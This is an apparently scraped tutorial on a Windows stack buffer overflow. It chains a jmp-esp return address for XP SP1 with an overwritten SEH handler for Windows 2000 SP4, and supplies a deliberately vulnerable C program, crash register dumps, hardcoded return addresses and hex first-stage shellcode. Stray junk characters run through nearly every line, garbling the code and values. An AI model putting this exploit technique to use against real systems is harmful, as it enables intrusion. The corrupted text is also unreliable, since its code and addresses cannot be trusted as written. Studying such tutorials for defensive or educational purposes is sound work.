The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well.. u$ i) {3 B$ y# r q1 L
2 m: A0 W7 v8 v; D$ r7 X! M[Buf] <- Shellcode " K5 z u- B1 y( {- F* z[Return Address] <- jmp register (for Windows XP sp1); W1 N Z6 r# ]3 g. p
[Various Stack Data] <- Junk2 w; R- [( k! Z) R2 C
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward 7 l& D2 ^3 I+ V1 A2 k' c- e4 l[SE Handler] <- jmp register (for Win2k sp4)* t' n/ ~1 D) U$ |$ {) b5 M0 \
[Stage1 Shellcode] <- stage1 shellcode for win2k ) C& r9 _$ S! B* A3 M: w5 z' L5 Z7 x K1 |
If the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses% ~2 `/ a, ~- F+ C: C4 |
6 q, t/ ~+ o( x/ Q9 m; ONecessary Tools:3 }" t! U) [: j
- OllyDBG - ~9 N* |; Y$ `! K- C/C++ Compiler9 ~% \" m9 z/ @9 B
- nasm , |) z6 h4 u1 i' d: t8 |( d- Sac) x7 ^+ F# m( X+ j
& ?+ U! k. M6 N2 s
Vulnerable Code: + [+ V$ K5 P2 B( B4 m2 j0 k+ z//lamebuf.c * O2 Y; \% Z/ m- j) }9 n5 j#include<stdio.h> " I$ D' N& V4 _) C) `5 M3 T#include<string.h> + x( t% A7 g9 [#include<windows.h>- I5 t1 Q$ p: Z. G: H" P" m
int main(int argc,char *argv[]){% l5 h1 t b0 R1 I" b2 @% G* e
; L. `$ v4 _% M1 U7 H
char buf[512];/ B) F# e) B# }. ]
char buf1[1024]; // <- simulate a stack8 ]. |6 I4 q3 q% Z! ?# b
//DebugBreak();7 J7 \% h/ S: h4 j0 {" Z( k
if (argc != 2){ return -1; }2 V; Z5 ]# f# r' c0 X
, T# k7 H" C6 @strcpy(buf,argv[1]); 6 F/ @0 p, N2 A7 R" h2 rreturn 0x0; 5 p. r% J! e% `# j8 T! x/ L# i}& X. @1 u+ |+ ?& d0 |% X9 M
* H t0 W7 z$ t8 b
Getting Started: + W1 e: M' \8 m! o$ [# F3 @Before writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers: ; p( ~: }! x. q! M5 v7 ^1 }3 D0 F+ H; _9 a4 q# ]2 x
EAX 00000000 . Z" [* O! |, ~& G ~4 P1 x" }ECX 003214040 m) F8 h" W( h" `, ^" d
EDX 00414141 3 N# o0 W2 i$ _. m+ ]EBX 7FFDF000 3 W$ w4 C! E+ M4 {1 @ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") U/ D: m! a$ a3 q3 b& O0 K" M
EBP 41414141 . q2 m$ I' T+ v9 \ESI 77D4595F% K! v0 X* @' A, \
EDI 77F59037 ntdll.77F590375 F1 u$ j- j j* l
EIP 41414141 ! y8 [0 ]: N5 ^2 q+ V2 Z' j: o# V t2 [0 b! q$ M; C# O: ^
Lets take a look at the stack and see what happened to the default exception handler:/ V! s N B3 n# c/ k' ~8 n
0x0012FFB0 41414141 Pointer to next SEH Record 4 L! C2 q' F- I) @ o& n$ |9 h0x0012FFB4 41414141 SE Handler# ?! I0 \1 g8 ^% R& s: b
, J* R! V+ [2 j6 {- b# v
We successfully overwrote the return address and the default exception handler. : o) n7 i# R7 U4 U4 o* C4 t" [% b8 I4 N
Primary Return Address (Windows XP SP1 EN):1 g* S9 q( X! |7 P% ]
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:: w; R& f0 K8 Q6 ]' @
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4" s9 g7 U8 S9 F5 K! o2 t& u. e! ]; Q' n* K* |8 e4 ^( i
Secondary Return Address (Windows 2000 SP4 EN): K# t$ ~* V5 S
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:$ V- U j" B9 i; T7 E% f# [' I
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1" [% b3 x6 V+ U& k H# s& A+ B